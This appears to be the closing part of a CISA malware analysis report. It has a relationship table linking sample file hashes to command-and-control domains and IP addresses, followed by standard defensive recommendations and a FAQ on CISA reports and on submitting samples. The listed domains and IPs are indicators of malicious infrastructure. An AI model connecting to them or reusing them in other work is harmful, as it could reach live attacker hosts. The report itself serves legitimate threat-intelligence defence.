bdfd16dc53…
Connected_To
curiofirenze.com

bdfd16dc53…
Connected_To
automercado.co.cr

7d507281e2…
Contained_Within
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

0fc12e03ee…
Dropped
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

d5186efd85…
Connected_To
curiofirenze.com

d5186efd85…
Connected_To
automercado.co.cr

d5186efd85…
Dropped_By
0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6

d5186efd85…
Contains
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

d5186efd85…
Contains
8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050

58027c80c6…
Contained_Within
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

58027c80c6…
Connected_From
curiofirenze.com

58027c80c6…
Connected_From
automercado.co.cr

8b53b51962…
Contained_Within
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

curiofirenze.com
Connected_From
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

curiofirenze.com
Connected_From
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

curiofirenze.com
Resolved_To
192.99.20.39

curiofirenze.com
Connected_From
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

curiofirenze.com
Connected_To
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

192.99.20.39
Resolved_To
curiofirenze.com

automercado.co.cr
Resolved_To
54.241.91.49

automercado.co.cr
Connected_From
b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

automercado.co.cr
Connected_From
d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5

automercado.co.cr
Connected_From
bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

automercado.co.cr
Connected_To
58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d

54.241.91.49
Resolved_To
automercado.co.cr

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

1-888-282-0870

CISA Service Desk (UNCLASS)

CISA SIPR (SIPRNET)

CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

Web: https://malware.us-cert.gov

E-Mail: submit@malware.us-cert.gov

FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

This product is provided subject to this Notification and this Privacy & Use policy.

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